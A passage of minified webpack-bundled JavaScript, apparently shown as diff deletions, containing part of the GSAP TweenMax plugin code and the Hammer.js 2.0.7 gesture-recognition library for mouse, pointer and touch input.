n.splice(i, 1) - } - } - } - return n || [] - }; - H.killTweensOf = H.killDelayedCallsTo = function (e, t, i) { - if (typeof t === "object") { - i = t; - t = false - } - var n = H.getTweensOf(e, t), - r = n.length; - while (--r > -1) { - n[r]._kill(i, e) - } - }; - var se = k("plugins.TweenPlugin", function (e, t) { - this._overwriteProps = (e || "").split(","); - this._propName = this._overwriteProps[0]; - this._priority = t || 0; - this._super = se.prototype - }, true); - _ = se.prototype; - se.version = "1.19.0"; - se.API = 2; - _._firstPT = null; - _._addTween = $; - _.setRatio = B; - _._kill = function (e) { - var t = this._overwriteProps, - i = this._firstPT, - n; - if (e[this._propName] != null) { - this._overwriteProps = [] - } else { - n = t.length; - while (--n > -1) { - if (e[t[n]] != null) { - t.splice(n, 1) - } - } - } - while (i) { - if (e[i.n] != null) { - if (i._next) { - i._next._prev = i._prev - } - if (i._prev) { - i._prev._next = i._next; - i._prev = null - } else if (this._firstPT === i) { - this._firstPT = i._next - } - } - i = i._next - } - return false - }; - _._mod = _._roundProps = function (e) { - var t = this._firstPT, - i; - while (t) { - i = e[this._propName] || t.n != null && e[t.n.split(this._propName + "_").join("")]; - if (i && typeof i === "function") { - if (t.f === 2) { - t.t._applyPT.m = i - } else { - t.m = i - } - } - t = t._next - } - }; - H._onPluginEvent = function (e, t) { - var i = t._firstPT, - n, r, a, s, o; - if (e === "_onInitAllProps") { - while (i) { - o = i._next; - r = a; - while (r && r.pr > i.pr) { - r = r._next - } - if (i._prev = r ? r._prev : s) { - i._prev._next = i - } else { - a = i - } - if (i._next = r) { - r._prev = i - } else { - s = i - } - i = o - } - i = t._firstPT = a - } - while (i) { - if (i.pg) - if (typeof i.t[e] === "function") - if (i.t[e]()) { - n = true - } - i = i._next - } - return n - }; - se.activate = function (e) { - var t = e.length; - while (--t > -1) { - if (e[t].API === se.API) { - G[(new e[t])._propName] = e[t] - } - } - return true - }; - M.plugin = function (e) { - if (!e || !e.propName || !e.init || !e.API) { - throw "illegal plugin definition." - } - var t = e.propName, - i = e.priority || 0, - n = e.overwriteProps, - r = { - init: "_onInitTween", - set: "setRatio", - kill: "_kill", - round: "_mod", - mod: "_mod", - initAll: "_onInitAllProps" - }, - a = k("plugins." + t.charAt(0).toUpperCase() + t.substr(1) + "Plugin", function () { - se.call(this, t, i); - this._overwriteProps = n || [] - }, e.global === true), - s = a.prototype = new se(t), - o; - s.constructor = a; - a.API = e.API; - for (o in r) { - if (typeof e[o] === "function") { - s[r[o]] = e[o] - } - } - a.version = e.version; - se.activate([a]); - return a - }; - p = i._gsQueue; - if (p) { - for (v = 0; v < p.length; v++) { - p[v]() - } - for (_ in b) { - if (!b[_].func) { - i.console.log("GSAP encountered missing dependency: " + _) - } - } - } - y = false - })(typeof e !== "undefined" && e.exports && typeof i !== "undefined" ? i : this || window, "TweenMax") - }).call(t, i(148)) -}, function (e, t) { - var i; - i = function () { - return this - }(); - try { - i = i || Function("return this")() || (1, eval)("this") - } catch (e) { - if (typeof window === "object") i = window - } - e.exports = i -}, function (e, t, i) { - var n; - (function (r, a, s, o) { - "use strict"; - var l = ["", "webkit", "Moz", "MS", "ms", "o"]; - var u = a.createElement("div"); - var d = "function"; - var f = Math.round; - var c = Math.abs; - var h = Date.now; - - function m(e, t, i) { - return setTimeout(M(e, i), t) - } - - function p(e, t, i) { - if (Array.isArray(e)) { - v(e, i[t], i); - return true - } - return false - } - - function v(e, t, i) { - var n; - if (!e) { - return - } - if (e.forEach) { - e.forEach(t, i) - } else if (e.length !== o) { - n = 0; - while (n < e.length) { - t.call(i, e[n], n, e); - n++ - } - } else { - for (n in e) { - e.hasOwnProperty(n) && t.call(i, e[n], n, e) - } - } - } - - function _(e, t, i) { - var n = "DEPRECATED METHOD: " + t + "\n" + i + " AT \n"; - return function () { - var t = new Error("get-stack-trace"); - var i = t && t.stack ? t.stack.replace(/^[^\(]+?[\n$]/gm, "").replace(/^\s+at\s+/gm, "").replace(/^Object.\s*\(/gm, "{anonymous}()@") : "Unknown Stack Trace"; - var a = r.console && (r.console.warn || r.console.log); - if (a) { - a.call(r.console, n, i) - } - return e.apply(this, arguments) - } - } - var g; - if (typeof Object.assign !== "function") { - g = function e(t) { - if (t === o || t === null) { - throw new TypeError("Cannot convert undefined or null to object") - } - var i = Object(t); - for (var n = 1; n < arguments.length; n++) { - var r = arguments[n]; - if (r !== o && r !== null) { - for (var a in r) { - if (r.hasOwnProperty(a)) { - i[a] = r[a] - } - } - } - } - return i - } - } else { - g = Object.assign - } - var y = _(function e(t, i, n) { - var r = Object.keys(i); - var a = 0; - while (a < r.length) { - if (!n || n && t[r[a]] === o) { - t[r[a]] = i[r[a]] - } - a++ - } - return t - }, "extend", "Use `assign`."); - var b = _(function e(t, i) { - return y(t, i, true) - }, "merge", "Use `assign`."); - - function w(e, t, i) { - var n = t.prototype, - r; - r = e.prototype = Object.create(n); - r.constructor = e; - r._super = n; - if (i) { - g(r, i) - } - } - - function M(e, t) { - return function i() { - return e.apply(t, arguments) - } - } - - function k(e, t) { - if (typeof e == d) { - return e.apply(t ? t[0] || o : o, t) - } - return e - } - - function L(e, t) { - return e === o ? t : e - } - - function T(e, t, i) { - v(D(t), function (t) { - e.addEventListener(t, i, false) - }) - } - - function x(e, t, i) { - v(D(t), function (t) { - e.removeEventListener(t, i, false) - }) - } - - function S(e, t) { - while (e) { - if (e == t) { - return true - } - e = e.parentNode - } - return false - } - - function Y(e, t) { - return e.indexOf(t) > -1 - } - - function D(e) { - return e.trim().split(/\s+/g) - } - - function E(e, t, i) { - if (e.indexOf && !i) { - return e.indexOf(t) - } else { - var n = 0; - while (n < e.length) { - if (i && e[n][i] == t || !i && e[n] === t) { - return n - } - n++ - } - return -1 - } - } - - function C(e) { - return Array.prototype.slice.call(e, 0) - } - - function P(e, t, i) { - var n = []; - var r = []; - var a = 0; - while (a < e.length) { - var s = t ? e[a][t] : e[a]; - if (E(r, s) < 0) { - n.push(e[a]) - } - r[a] = s; - a++ - } - if (i) { - if (!t) { - n = n.sort() - } else { - n = n.sort(function e(i, n) { - return i[t] > n[t] - }) - } - } - return n - } - - function A(e, t) { - var i, n; - var r = t[0].toUpperCase() + t.slice(1); - var a = 0; - while (a < l.length) { - i = l[a]; - n = i ? i + r : t; - if (n in e) { - return n - } - a++ - } - return o - } - var O = 1; - - function j() { - return O++ - } - - function H(e) { - var t = e.ownerDocument || e; - return t.defaultView || t.parentWindow || r - } - var I = /mobile|tablet|ip(ad|hone|od)|android/i; - var F = "ontouchstart" in r; - var z = A(r, "PointerEvent") !== o; - var R = F && I.test(navigator.userAgent); - var N = "touch"; - var W = "pen"; - var B = "mouse"; - var q = "kinect"; - var $ = 25; - var V = 1; - var G = 2; - var U = 4; - var X = 8; - var J = 1; - var K = 2; - var Q = 4; - var Z = 8; - var ee = 16; - var te = K | Q; - var ie = Z | ee; - var ne = te | ie; - var re = ["x", "y"]; - var ae = ["clientX", "clientY"]; - - function se(e, t) { - var i = this; - this.manager = e; - this.callback = t; - this.element = e.element; - this.target = e.options.inputTarget; - this.domHandler = function (t) { - if (k(e.options.enable, [e])) { - i.handler(t) - } - }; - this.init() - } - se.prototype = { - handler: function () {}, - init: function () { - this.evEl && T(this.element, this.evEl, this.domHandler); - this.evTarget && T(this.target, this.evTarget, this.domHandler); - this.evWin && T(H(this.element), this.evWin, this.domHandler) - }, - destroy: function () { - this.evEl && x(this.element, this.evEl, this.domHandler); - this.evTarget && x(this.target, this.evTarget, this.domHandler); - this.evWin && x(H(this.element), this.evWin, this.domHandler) - } - }; - - function oe(e) { - var t; - var i = e.options.inputClass; - if (i) { - t = i - } else if (z) { - t = Ye - } else if (R) { - t = He - } else if (!F) { - t = ke - } else { - t = Re - } - return new t(e, le) - } - - function le(e, t, i) { - var n = i.pointers.length; - var r = i.changedPointers.length; - var a = t & V && n - r === 0; - var s = t & (U | X) && n - r === 0; - i.isFirst = !!a; - i.isFinal = !!s; - if (a) { - e.session = {} - } - i.eventType = t; - ue(e, i); - e.emit("hammer.input", i); - e.recognize(i); - e.session.prevInput = i - } - - function ue(e, t) { - var i = e.session; - var n = t.pointers; - var r = n.length; - if (!i.firstInput) { - i.firstInput = ce(t) - } - if (r > 1 && !i.firstMultiple) { - i.firstMultiple = ce(t) - } else if (r === 1) { - i.firstMultiple = false - } - var a = i.firstInput; - var s = i.firstMultiple; - var o = s ? s.center : a.center; - var l = t.center = he(n); - t.timeStamp = h(); - t.deltaTime = t.timeStamp - a.timeStamp; - t.angle = _e(o, l); - t.distance = ve(o, l); - de(i, t); - t.offsetDirection = pe(t.deltaX, t.deltaY); - var u = me(t.deltaTime, t.deltaX, t.deltaY); - t.overallVelocityX = u.x; - t.overallVelocityY = u.y; - t.overallVelocity = c(u.x) > c(u.y) ? u.x : u.y; - t.scale = s ? ye(s.pointers, n) : 1; - t.rotation = s ? ge(s.pointers, n) : 0; - t.maxPointers = !i.prevInput ? t.pointers.length : t.pointers.length > i.prevInput.maxPointers ? t.pointers.length : i.prevInput.maxPointers; - fe(i, t); - var d = e.element; - if (S(t.srcEvent.target, d)) { - d = t.srcEvent.target - } - t.target = d - } - - function de(e, t) { - var i = t.center; - var n = e.offsetDelta || {}; - var r = e.prevDelta || {}; - var a = e.prevInput || {}; - if (t.eventType === V || a.eventType === U) { - r = e.prevDelta = { - x: a.deltaX || 0, - y: a.deltaY || 0 - }; - n = e.offsetDelta = { - x: i.x, - y: i.y - } - } - t.deltaX = r.x + (i.x - n.x); - t.deltaY = r.y + (i.y - n.y) - } - - function fe(e, t) { - var i = e.lastInterval || t, - n = t.timeStamp - i.timeStamp, - r, a, s, l; - if (t.eventType != X && (n > $ || i.velocity === o)) { - var u = t.deltaX - i.deltaX; - var d = t.deltaY - i.deltaY; - var f = me(n, u, d); - a = f.x; - s = f.y; - r = c(f.x) > c(f.y) ? f.x : f.y; - l = pe(u, d); - e.lastInterval = t - } else { - r = i.velocity; - a = i.velocityX; - s = i.velocityY; - l = i.direction - } - t.velocity = r; - t.velocityX = a; - t.velocityY = s; - t.direction = l - } - - function ce(e) { - var t = []; - var i = 0; - while (i < e.pointers.length) { - t[i] = { - clientX: f(e.pointers[i].clientX), - clientY: f(e.pointers[i].clientY) - }; - i++ - } - return { - timeStamp: h(), - pointers: t, - center: he(t), - deltaX: e.deltaX, - deltaY: e.deltaY - } - } - - function he(e) { - var t = e.length; - if (t === 1) { - return { - x: f(e[0].clientX), - y: f(e[0].clientY) - } - } - var i = 0, - n = 0, - r = 0; - while (r < t) { - i += e[r].clientX; - n += e[r].clientY; - r++ - } - return { - x: f(i / t), - y: f(n / t) - } - } - - function me(e, t, i) { - return { - x: t / e || 0, - y: i / e || 0 - } - } - - function pe(e, t) { - if (e === t) { - return J - } - if (c(e) >= c(t)) { - return e < 0 ? K : Q - } - return t < 0 ? Z : ee - } - - function ve(e, t, i) { - if (!i) { - i = re - } - var n = t[i[0]] - e[i[0]], - r = t[i[1]] - e[i[1]]; - return Math.sqrt(n * n + r * r) - } - - function _e(e, t, i) { - if (!i) { - i = re - } - var n = t[i[0]] - e[i[0]], - r = t[i[1]] - e[i[1]]; - return Math.atan2(r, n) * 180 / Math.PI - } - - function ge(e, t) { - return _e(t[1], t[0], ae) + _e(e[1], e[0], ae) - } - - function ye(e, t) { - return ve(t[0], t[1], ae) / ve(e[0], e[1], ae) - } - var be = { - mousedown: V, - mousemove: G, - mouseup: U - }; - var we = "mousedown"; - var Me = "mousemove mouseup"; - - function ke() { - this.evEl = we; - this.evWin = Me; - this.pressed = false; - se.apply(this, arguments) - } - w(ke, se, { - handler: function e(t) { - var i = be[t.type]; - if (i & V && t.button === 0) { - this.pressed = true - } - if (i & G && t.which !== 1) { - i = U - } - if (!this.pressed) { - return - } - if (i & U) { - this.pressed = false - } - this.callback(this.manager, i, { - pointers: [t], - changedPointers: [t], - pointerType: B, - srcEvent: t - }) - } - }); - var Le = { - pointerdown: V, - pointermove: G, - pointerup: U, - pointercancel: X, - pointerout: X - }; - var Te = { - 2: N, - 3: W, - 4: B, - 5: q - }; - var xe = "pointerdown"; - var Se = "pointermove pointerup pointercancel"; - if (r.MSPointerEvent && !r.PointerEvent) { - xe = "MSPointerDown"; - Se = "MSPointerMove MSPointerUp MSPointerCancel" - } - - function Ye() { - this.evEl = xe; - this.evWin = Se; - se.apply(this, arguments); - this.store = this.manager.session.pointerEvents = [] - } - w(Ye, se, { - handler: function e(t) { - var i = this.store; - var n = false; - var r = t.type.toLowerCase().replace("ms", ""); - var a = Le[r]; - var s = Te[t.pointerType] || t.pointerType; - var o = s == N; - var l = E(i, t.pointerId, "pointerId"); - if (a & V && (t.button === 0 || o)) { - if (l < 0) { - i.push(t); - l = i.length - 1 - } - } else if (a & (U | X)) { - n = true - } - if (l < 0) { - return - } - i[l] = t; - this.callback(this.manager, a, { - pointers: i, - changedPointers: [t], - pointerType: s, - srcEvent: t - }); - if (n) { - i.splice(l, 1) - } - } - }); - var De = { - touchstart: V, - touchmove: G, - touchend: U, - touchcancel: X - }; - var Ee = "touchstart"; - var Ce = "touchstart touchmove touchend touchcancel"; - - function Pe() { - this.evTarget = Ee; - this.evWin = Ce; - this.started = false; - se.apply(this, arguments) - } - w(Pe, se, { - handler: function e(t) { - var i = De[t.type]; - if (i === V) { - this.started = true - } - if (!this.started) { - return - } - var n = Ae.call(this, t, i); - if (i & (U | X) && n[0].length - n[1].length === 0) { - this.started = false - } - this.callback(this.manager, i, { - pointers: n[0], - changedPointers: n[1], - pointerType: N, - srcEvent: t - }) - } - }); - - function Ae(e, t) { - var i = C(e.touches); - var n = C(e.changedTouches); - if (t & (U | X)) { - i = P(i.concat(n), "identifier", true) - } - return [i, n] - } - var Oe = { - touchstart: V, - touchmove: G, - touchend: U, - touchcancel: X - }; - var je = "touchstart touchmove touchend touchcancel"; - - function He() { - this.evTarget = je; - this.targetIds = {}; - se.apply(this, arguments) - } - w(He, se, { - handler: function e(t) { - var i = Oe[t.type]; - var n = Ie.call(this, t, i); - if (!n) { - return - } - this.callback(this.manager, i, { - pointers: n[0], - changedPointers: n[1], - pointerType: N, - srcEvent: t - }) - } - }); - - function Ie(e, t) { - var i = C(e.touches); - var n = this.targetIds; - if (t & (V | G) && i.length === 1) { - n[i[0].identifier] = true; - return [i, i] - } - var r, a, s = C(e.changedTouches), - o = [], - l = this.target; - a = i.filter(function (e) { - return S(e.target, l) - }); - if (t === V) { - r = 0; - while (r < a.length) { - n[a[r].identifier] = true; - r++ - } - } - r = 0; - while (r < s.length) { - if (n[s[r].identifier]) { - o.push(s[r]) - } - if (t & (U | X)) { - delete n[s[r].identifier] - } - r++ - } - if (!o.length) { - return - } - return [P(a.concat(o), "identifier", true), o] - } - var Fe = 2500; - var ze = 25; - - function Re() { - se.apply(this, arguments); - var e = M(this.handler, this); - this.touch = new He(this.manager, e); - this.mouse = new ke(this.manager, e); - this.primaryTouch = null; - this.lastTouches = [] - } - w(Re, se, { - handler: function e(t, i, n) { - var r = n.pointerType == N, - a = n.pointerType == B; - if (a && n.sourceCapabilities && n.sourceCapabilities.firesTouchEvents) { - return - } - if (r) { - Ne.call(this, i, n) - } else if (a && Be.call(this, n)) { - return - } - this.callback(t, i, n) - }, - destroy: function e() { - this.touch.destroy(); - this.mouse.destroy() - } - }); - - function Ne(e, t) { - if (e & V) { - this.primaryTouch = t.changedPointers[0].identifier; - We.call(this, t) - } else if (e & (U | X)) { - We.call(this, t) - } - } - - function We(e) { - var t = e.changedPointers[0]; - if (t.identifier === this.primaryTouch) { - var i = { - x: t.clientX, - y: t.clientY - }; - this.lastTouches.push(i); - var n = this.lastTouches; - var r = function () { - var e = n.indexOf(i); - if (e > -1) { - n.splice(e, 1) - } - }; - setTimeout(r, Fe) - } - } - - function Be(e) { - var t = e.srcEvent.clientX, - i = e.srcEvent.clientY; - for (var n = 0; n < this.lastTouches.length; n++) { - var r = this.lastTouches[n]; - var a = Math.abs(t - r.x), - s = Math.abs(i - r.y); - if (a <= ze && s <= ze) { - return true - } - } - return false - } - var qe = A(u.style, "touchAction"); - var $e = qe !== o; - var Ve = "compute"; - var Ge = "auto"; - var Ue = "manipulation"; - var Xe = "none"; - var Je = "pan-x"; - var Ke = "pan-y"; - var Qe = tt(); - - function Ze(e, t) { - this.manager = e; - this.set(t) - } - Ze.prototype = { - set: function (e) { - if (e == Ve) { - e = this.compute() - } - if ($e && this.manager.element.style && Qe[e]) { - this.manager.element.style[qe] = e - } - this.actions = e.toLowerCase().trim() - }, - update: function () { - this.set(this.manager.options.touchAction) - }, - compute: function () { - var e = []; - v(this.manager.recognizers, function (t) { - if (k(t.options.enable, [t])) { - e = e.concat(t.getTouchAction()) - } - }); - return et(e.join(" ")) - }, - preventDefaults: function (e) { - var t = e.srcEvent; - var i = e.offsetDirection; - if (this.manager.session.prevented) { - t.preventDefault(); - return - } - var n = this.actions; - var r = Y(n, Xe) && !Qe[Xe]; - var a = Y(n, Ke) && !Qe[Ke]; - var s = Y(n, Je) && !Qe[Je]; - if (r) { - var o = e.pointers.length === 1; - var l = e.distance < 2; - var u = e.deltaTime < 250; - if (o && l && u) { - return - } - } - if (s && a) { - return - } - if (r || a && i & te || s && i & ie) { - return this.preventSrc(t) - } - }, - preventSrc: function (e) { - this.manager.session.prevented = true; - e.preventDefault() - } - }; - - function et(e) { - if (Y(e, Xe)) { - return Xe - } - var t = Y(e, Je); - var i = Y(e, Ke); - if (t && i) { - return Xe - } - if (t || i) { - return t ? Je : Ke - } - if (Y(e, Ue)) { - return Ue - } - return Ge - } - - function tt() { - if (!$e) { - return false - } - var e = {}; - var t = r.CSS && r.CSS.supports; - ["auto", "manipulation", "pan-y", "pan-x", "pan-x pan-y", "none"].forEach(function (i) { - e[i] = t ? r.CSS.supports("touch-action", i) : true - }); - return e - } - var it = 1; - var nt = 2; - var rt = 4; - var at = 8; - var st = at; - var ot = 16; - var lt = 32; - - function ut(e) { - this.options = g({}, this.defaults, e || {}); - this.id = j(); - this.manager = null; - this.options.enable = L(this.options.enable, true); - this.state = it; - this.simultaneous = {}; - this.requireFail = [] - } - ut.prototype = { - defaults: {}, - set: function (e) { - g(this.options, e); - this.manager && this.manager.touchAction.update(); - return this - }, - recognizeWith: function (e) { - if (p(e, "recognizeWith", this)) { - return this - } - var t = this.simultaneous; - e = ct(e, this); - if (!t[e.id]) { - t[e.id] = e; - e.recognizeWith(this) - } - return this - }, - dropRecognizeWith: function (e) { - if (p(e, "dropRecognizeWith", this)) { - return this - } - e = ct(e, this); - delete this.simultaneous[e.id]; - return this - }, - requireFailure: function (e) { - if (p(e, "requireFailure", this)) { - return this - } - var t = this.requireFail; - e = ct(e, this); - if (E(t, e) === -1) { - t.push(e); - e.requireFailure(this) - } - return this - }, - dropRequireFailure: function (e) { - if (p(e, "dropRequireFailure", this)) { - return this - } - e = ct(e, this); - var t = E(this.requireFail, e); - if (t > -1) { - this.requireFail.splice(t, 1) - } - return this - }, - hasRequireFailures: function () { - return this.requireFail.length > 0 - }, - canRecognizeWith: function (e) { - return !!this.simultaneous[e.id] - }, - emit: function (e) { - var t = this; - var i = this.state; - - function n(i) { - t.manager.emit(i, e) - } - if (i < at) { - n(t.options.event + dt(i)) - } - n(t.options.event); - if (e.additionalEvent) { - n(e.additionalEvent) - } - if (i >= at) { - n(t.options.event + dt(i)) - } - }, - tryEmit: function (e) { - if (this.canEmit()) { - return this.emit(e) - } - this.state = lt - }, - canEmit: function () { - var e = 0; - while (e < this.requireFail.length) { - if (!(this.requireFail[e].state & (lt | it))) { - return false - } - e++ - } - return true - }, - recognize: function (e) { - var t = g({}, e); - if (!k(this.options.enable, [this, t])) { - this.reset(); - this.state = lt; - return - } - if (this.state & (st | ot | lt)) { - this.state = it - } - this.state = this.process(t); - if (this.state & (nt | rt | at | ot)) { - this.tryEmit(t) - } - }, - process: function (e) {}, - getTouchAction: function () {}, - reset: function () {} - }; - - function dt(e) { - if (e & ot) { - return "cancel" - } else if (e & at) { - return "end" - } else if (e & rt) { - return "move" - } else if (e & nt) { - return "start" - } - return "" - } - - function ft(e) { - if (e == ee) { - return "down" - } else if (e == Z) { - return "up" - } else if (e == K) { - return "left" - } else if (e == Q) { - return "right" - } - return "" - } - - function ct(e, t) { - var i = t.manager; - if (i) { - return i.get(e) - } - return e - } - - function ht() { - ut.apply(this, arguments) - } - w(ht, ut, { - defaults: { - pointers: 1 - }, - attrTest: function (e) { - var t = this.options.pointers; - return t === 0 || e.pointers.length === t - }, - process: function (e) { - var t = this.state; - var i = e.eventType; - var n = t & (nt | rt); - var r = this.attrTest(e); - if (n && (i & X || !r)) { - return t | ot - } else if (n || r) { - if (i & U) { - return t | at - } else if (!(t & nt)) { - return nt - } - return t | rt - } - return lt - } - }); - - function mt() { - ht.apply(this, arguments); - this.pX = null; - this.pY = null - } - w(mt, ht, { - defaults: { - event: "pan", - threshold: 10, - pointers: 1, - direction: ne - }, - getTouchAction: function () { - var e = this.options.direction; - var t = []; - if (e & te) { - t.push(Ke) - } - if (e & ie) { - t.push(Je) - } - return t - }, - directionTest: function (e) { - var t = this.options; - var i = true; - var n = e.distance; - var r = e.direction; - var a = e.deltaX; - var s = e.deltaY; - if (!(r & t.direction)) { - if (t.direction & te) { - r = a === 0 ? J : a < 0 ? K : Q; - i = a != this.pX; - n = Math.abs(e.deltaX) - } else { - r = s === 0 ? J : s < 0 ? Z : ee; - i = s != this.pY; - n = Math.abs(e.deltaY) - } - } - e.direction = r; - return i && n > t.threshold && r & t.direction - }, - attrTest: function (e) { - return ht.prototype.attrTest.call(this, e) && (this.state & nt || !(this.state & nt) && this.directionTest(e)) - }, - emit: function (e) { - this.pX = e.deltaX; - this.pY = e.deltaY; - var t = ft(e.direction); - if (t) { - e.additionalEvent = this.options.event + t - } - this._super.emit.call(this, e) - } - }); - - function pt() { - ht.apply(this, arguments) - } - w(pt, ht, { - defaults: { - event: "pinch", - threshold: 0, - pointers: 2 - }, - getTouchAction: function () { - return [Xe] - }, - attrTest: function (e) { - return this._super.attrTest.call(this, e) && (Math.abs(e.scale - 1) > this.options.threshold || this.state & nt) - }, - emit: function (e) { - if (e.scale !== 1) { - var t = e.scale < 1 ? "in" : "out"; - e.additionalEvent = this.options.event + t - } - this._super.emit.call(this, e) - } - }); - - function vt() { - ut.apply(this, arguments); - this._timer = null; - this._input = null - } - w(vt, ut, { - defaults: { - event: "press", - pointers: 1, - time: 251, - threshold: 9 - }, - getTouchAction: function () { - return [Ge] - }, - process: function (e) { - var t = this.options; - var i = e.pointers.length === t.pointers; - var n = e.distance < t.threshold; - var r = e.deltaTime > t.time; - this._input = e; - if (!n || !i || e.eventType & (U | X) && !r) { - this.reset() - } else if (e.eventType & V) { - this.reset(); - this._timer = m(function () { - this.state = st; - this.tryEmit() - }, t.time, this) - } else if (e.eventType & U) { - return st - } - return lt - }, - reset: function () { - clearTimeout(this._timer) - }, - emit: function (e) { - if (this.state !== st) { - return - } - if (e && e.eventType & U) { - this.manager.emit(this.options.event + "up", e) - } else { - this._input.timeStamp = h(); - this.manager.emit(this.options.event, this._input) - } - } - }); - - function _t() { - ht.apply(this, arguments) - } - w(_t, ht, { - defaults: { - event: "rotate", - threshold: 0, - pointers: 2 - }, - getTouchAction: function () { - return [Xe] - }, - attrTest: function (e) { - return this._super.attrTest.call(this, e) && (Math.abs(e.rotation) > this.options.threshold || this.state & nt) - } - }); - - function gt() { - ht.apply(this, arguments) - } - w(gt, ht, { - defaults: { - event: "swipe", - threshold: 10, - velocity: .3, - direction: te | ie, - pointers: 1 - }, - getTouchAction: function () { - return mt.prototype.getTouchAction.call(this) - }, - attrTest: function (e) { - var t = this.options.direction; - var i; - if (t & (te | ie)) { - i = e.overallVelocity - } else if (t & te) { - i = e.overallVelocityX - } else if (t & ie) { - i = e.overallVelocityY - } - return this._super.attrTest.call(this, e) && t & e.offsetDirection && e.distance > this.options.threshold && e.maxPointers == this.options.pointers && c(i) > this.options.velocity && e.eventType & U - }, - emit: function (e) { - var t = ft(e.offsetDirection); - if (t) { - this.manager.emit(this.options.event + t, e) - } - this.manager.emit(this.options.event, e) - } - }); - - function yt() { - ut.apply(this, arguments); - this.pTime = false; - this.pCenter = false; - this._timer = null; - this._input = null; - this.count = 0 - } - w(yt, ut, { - defaults: { - event: "tap", - pointers: 1, - taps: 1, - interval: 300, - time: 250, - threshold: 9, - posThreshold: 10 - }, - getTouchAction: function () { - return [Ue] - }, - process: function (e) { - var t = this.options; - var i = e.pointers.length === t.pointers; - var n = e.distance < t.threshold; - var r = e.deltaTime < t.time; - this.reset(); - if (e.eventType & V && this.count === 0) { - return this.failTimeout() - } - if (n && r && i) { - if (e.eventType != U) { - return this.failTimeout() - } - var a = this.pTime ? e.timeStamp - this.pTime < t.interval : true; - var s = !this.pCenter || ve(this.pCenter, e.center) < t.posThreshold; - this.pTime = e.timeStamp; - this.pCenter = e.center; - if (!s || !a) { - this.count = 1 - } else { - this.count += 1 - } - this._input = e; - var o = this.count % t.taps; - if (o === 0) { - if (!this.hasRequireFailures()) { - return st - } else { - this._timer = m(function () { - this.state = st; - this.tryEmit() - }, t.interval, this); - return nt - } - } - } - return lt - }, - failTimeout: function () { - this._timer = m(function () { - this.state = lt - }, this.options.interval, this); - return lt - }, - reset: function () { - clearTimeout(this._timer) - }, - emit: function () { - if (this.state == st) { - this._input.tapCount = this.count; - this.manager.emit(this.options.event, this._input) - } - } - }); - - function bt(e, t) { - t = t || {}; - t.recognizers = L(t.recognizers, bt.defaults.preset); - return new kt(e, t) - } - bt.VERSION = "2.0.7"; - bt.defaults = { - domEvents: false, - touchAction: Ve, - enable: true, - inputTarget: null, - inputClass: null, - preset: [ - [_t, { - enable: false - }], - [pt, { - enable: false - }, - ["rotate"] - ], - [gt, { - direction: te - }], - [mt, { - direction: te - }, - ["swipe"] - ], - [yt], - [yt, { - event: "doubletap", - taps: 2 - }, - ["tap"] - ], - [vt] - ], - cssProps: { - userSelect: "none", - touchSelect: "none", - touchCallout: "none", - contentZooming: "none", - userDrag: "none", - tapHighlightColor: "rgba(0,0,0,0)" - } - }; - var wt = 1; - var Mt = 2; - - function kt(e, t) { - this.options = g({}, bt.defaults, t || {}); - this.options.inputTarget = this.options.inputTarget || e; - this.handlers = {}; - this.session = {}; - this.recognizers = []; - this.oldCssProps = {}; - this.element = e; - this.input = oe(this); - this.touchAction = new Ze(this, this.options.touchAction); - Lt(this, true); - v(this.options.recognizers, function (e) { - var t = this.add(new e[0](e[1])); - e[2] && t.recognizeWith(e[2]); - e[3] && t.requireFailure(e[3]) - }, this) - } - kt.prototype = { - set: function (e) { - g(this.options, e); - if (e.touchAction) { - this.touchAction.update() - } - if (e.inputTarget) { - this.input.destroy(); - this.input.target = e.inputTarget; - this.input.init() - } - return this - }, - stop: function (e) { - this.session.stopped = e ? Mt : wt - }, - recognize: function (e) { - var t = this.session; - if (t.stopped) { - return - } - this.touchAction.preventDefaults(e); - var i; - var n = this.recognizers; - var r = t.curRecognizer; - if (!r || r && r.state & st) { - r = t.curRecognizer = null - } - var a = 0; - while (a < n.length) { - i = n[a]; - if (t.stopped !== Mt && (!r || i == r || i.canRecognizeWith(r))) { - i.recognize(e) - } else { - i.reset() - } - if (!r && i.state & (nt | rt | at)) { - r = t.curRecognizer = i - } - a++ - } - }, - get: function (e) { - if (e instanceof ut) { - return e - } - var t = this.recognizers; - for (var i = 0; i < t.length; i++) { - if (t[i].options.event == e) { - return t[i] - } - } - return null - }, - add: function (e) { - if (p(e, "add", this)) { - return this - } - var t = this.get(e.options.event); - if (t) { - this.remove(t) - } - this.recognizers.push(e); - e.manager = this; - this.touchAction.update(); - return e - }, - remove: function (e) { - if (p(e, "remove", this)) { - return this - } - e = this.get(e); - if (e) { - var t = this.recognizers; - var i = E(t, e); - if (i !== -1) { - t.splice(i, 1); - this.touchAction.update() - } - } - return this - }, - on: function (e, t) { - if (e === o) { - return - } - if (t === o) { - return - } - var i = this.handlers; - v(D(e), function (e) { - i[e] = i[e] || []; - i[e].push(t) - }); - return this - }, - off: function (e, t) { - if (e === o) { - return - } - var i = this.handlers; - v(D(e), function (e) { - if (!t) { - delete i[e] - } else { - i[e] && i[e].splice(E(i[e], t), 1) - } - }); - return this - }, - emit: function (e, t) { - if (this.options.domEvents) { - Tt(e, t) - } - var i = this.handlers[e] && this.handlers[e].slice(); - if (!i || !i.length) { - return - } - t.type = e; - t.preventDefault = function () { - t.srcEvent.preventDefault() - }; - var n = 0; - while (n < i.length) { - i[n](t); - n++ - } - }, - destroy: function () { - this.element && Lt(this, false); - this.handlers = {}; - this.session = {}; - this.input.destroy(); - this.element = null - } - }; - - function Lt(e, t) { - var i = e.element; - if (!i.style) { - return - } - var n; - v(e.options.cssProps, function (r, a) { - n = A(i.style, a); - if (t) { - e.oldCssProps[n] = i.style[n]; - i.style[n] = r - } else { - i.style[n] = e.oldCssProps[n] || "" - } - }); - if (!t) { - e.oldCssProps = {} - } - } - - function Tt(e, t) { - var i = a.createEvent("Event"); - i.initEvent(e, true, true); - i.gesture = t; - t.target.dispatchEvent(i) - } - g(bt, { - INPUT_START: V, - INPUT_MOVE: G, - INPUT_END: U, - INPUT_CANCEL: X, - STATE_POSSIBLE: it, - STATE_BEGAN: nt, - STATE_CHANGED: rt, - STATE_ENDED: at, - STATE_RECOGNIZED: st, - STATE_CANCELLED: ot, - STATE_FAILED: lt, - DIRECTION_NONE: J, - DIRECTION_LEFT: K, - DIRECTION_RIGHT: Q, - DIRECTION_UP: Z, - DIRECTION_DOWN: ee, - DIRECTION_HORIZONTAL: te, - DIRECTION_VERTICAL: ie, - DIRECTION_ALL: ne, - Manager: kt, - Input: se, - TouchAction: Ze, - TouchInput: He, - MouseInput: ke, - 